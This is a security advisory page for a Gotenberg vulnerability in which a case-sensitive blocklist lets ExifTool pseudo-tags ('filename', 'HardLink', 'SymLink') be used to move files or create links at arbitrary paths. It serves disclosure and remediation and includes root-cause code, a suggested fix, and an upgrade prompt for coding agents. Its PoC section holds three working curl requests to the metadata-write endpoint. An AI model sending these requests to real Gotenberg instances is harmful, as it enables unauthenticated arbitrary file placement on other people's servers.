# GHSA-qmwh-9m9c-h36m: The fix for ExifTool arbitrary file write (commit `043b158`, released in v8.29.0) uses a case-sensitive blocklist to filter dangerous pseudo-tags.

> Unauthenticated attackers can bypass case-sensitive filters to write arbitrary files or create links via ExifTool pseudo-tags in Gotenberg.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Not needed
- **Attackable:** Over the internet
- **Victim action needed:** Not needed
- **Fix available:** Yes
- **Published:** 7 Apr 2026
- **Also known as:** GO-2026-5587

## What is GHSA-qmwh-9m9c-h36m?

GHSA-qmwh-9m9c-h36m is a path traversal vulnerability in github.com/gotenberg/gotenberg/v7, published on 7 Apr 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.

### Official description

## Summary

The fix for ExifTool arbitrary file write (commit `043b158`, released in v8.29.0) uses a case-sensitive blocklist to filter dangerous pseudo-tags. ExifTool processes tag names case-insensitively, so alternate casings bypass the filter. The blocklist also omits the `HardLink` and `SymLink` pseudo-tags entirely.

Confirmed end-to-end against Gotenberg v8.29.1 via the unauthenticated HTTP API.

## Root Cause

`pkg/modules/exiftool/exiftool.go` lines 231-237:

    dangerousTags := []string{
        "FileName",  // Writing this triggers a file rename in ExifTool
        "Directory", // Writing this triggers a file move in ExifTool
    }
    for _, tag := range dangerousTags {
        delete(metadata, tag)
    }

Go's `delete(metadata, tag)` is case-sensitive. It only removes the exact keys `"FileName"` and `"Directory"`. ExifTool processes tag names case-insensitively (per ExifTool documentation). Alternate casings like `filename`, `FILENAME`, `directory` all bypass the Go blocklist but ExifTool treats them identically.

The go-exiftool library passes tag names directly to ExifTool's stdin at line 258:

    fmt.Fprintln(e.stdin, "-"+k+"="+str)

So `filename` becomes `-filename=/attacker/path` which ExifTool interprets as `-FileName=/attacker/path`.

The blocklist also omits two dangerous ExifTool pseudo-tags:
- `HardLink`: creates a hard link to the file at the specified path
- `SymLink`: creates a symbolic link to the file at the specified path

## PoC

All three vectors confirmed against a running Gotenberg v8.29.1 Docker container.

**Case-insensitive filename bypass (file moved to /tmp/evil_bypass.pdf):**

    curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \
      -F files=@sample.pdf \
      -F 'metadata={"filename": "/tmp/evil_bypass.pdf"}'

**HardLink (hard link created at /tmp/hardlink_bypass.pdf):**

    curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \
      -F files=@sample.pdf \
      -F 'metadata={"HardLink": "/tmp/hardlink_bypass.pdf"}'

**SymLink (symbolic link created at /tmp/symlink_bypass.pdf):**

    curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \
      -F files=@sample.pdf \
      -F 'metadata={"SymLink": "/tmp/symlink_bypass.pdf"}'

Verification inside the container:

    $ docker exec gotenberg-poc ls -la /tmp/evil_bypass.pdf /tmp/hardlink_bypass.pdf /tmp/symlink_bypass.pdf
    -rw-r--r-- 1 gotenberg gotenberg 321 ... /tmp/evil_bypass.pdf
    -rw-r--r-- 1 gotenberg gotenberg 321 ... /tmp/hardlink_bypass.pdf
    lrwxrwxrwx 1 gotenberg gotenberg 119 ... /tmp/symlink_bypass.pdf -> /tmp/.../source.pdf

Also confirmed ExifTool case-insensitivity directly:

    exiftool -filename=bypassed.pdf test.pdf  # Works identically to -FileName=

## Impact

An attacker with access to the Gotenberg API (unauthenticated by default) can:

1. Rename/move uploaded PDFs to arbitrary filesystem paths via lowercase `filename`/`directory`
2. Create hard links at arbitrary paths via `HardLink`, persisting data beyond temp directory cleanup
3. Create symbolic links at arbitrary paths via `SymLink`

In containerized deployments, impact is limited to the container filesystem (DoS by overwriting temp files). In bare-metal deployments or those with shared volumes, this can affect other services.

## Suggested Fix

Use case-insensitive comparison and expand the blocklist:

    dangerousTags := []string{
        "FileName",
        "Directory",
        "HardLink",
        "SymLink",
    }
    for key := range metadata {
        for _, tag := range dangerousTags {
            if strings.EqualFold(key, tag) {
                delete(metadata, key)
            }
        }
    }

## Which versions are affected by GHSA-qmwh-9m9c-h36m?

4 open source packages ship an affected version, including github.com/gotenberg/gotenberg/v7 and github.com/gotenberg/gotenberg/v8.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `github.com/gotenberg/gotenberg/v7` | Go | All versions | None |
| `github.com/gotenberg/gotenberg/v8` | Go | All versions | 8.30.0 |
| `github.com/gotenberg/gotenberg/v8` | Go | All versions | 8.30.0 |
| `github.com/gotenberg/gotenberg/v8` | Go | All versions | 8.30.0 |

## How do I fix GHSA-qmwh-9m9c-h36m?

Apply the vendor's patch.

## Is GHSA-qmwh-9m9c-h36m being exploited?

There is no known exploitation of GHSA-qmwh-9m9c-h36m in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-qmwh-9m9c-h36m and fix it if it is affected.

What it is: GHSA-qmwh-9m9c-h36m is a path traversal vulnerability in github.com/gotenberg/gotenberg/v7, published on 7 Apr 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.
Exploitation: There is no known exploitation of GHSA-qmwh-9m9c-h36m in the wild and no public exploit code.

Affected packages and fixed versions:
- github.com/gotenberg/gotenberg/v7 (Go): affected all versions; no fix listed
- github.com/gotenberg/gotenberg/v8 (Go): affected all versions; fixed in 8.30.0
- github.com/gotenberg/gotenberg/v8 (Go): affected all versions; fixed in 8.30.0
- github.com/gotenberg/gotenberg/v8 (Go): affected all versions; fixed in 8.30.0

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-qmwh-9m9c-h36m/ (Markdown: https://insights.sbomify.com/GHSA-qmwh-9m9c-h36m/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-qmwh-9m9c-h36m

---
From sbomify Insights: https://insights.sbomify.com/GHSA-qmwh-9m9c-h36m/
Summaries are generated and may contain mistakes; the official description above is the record.
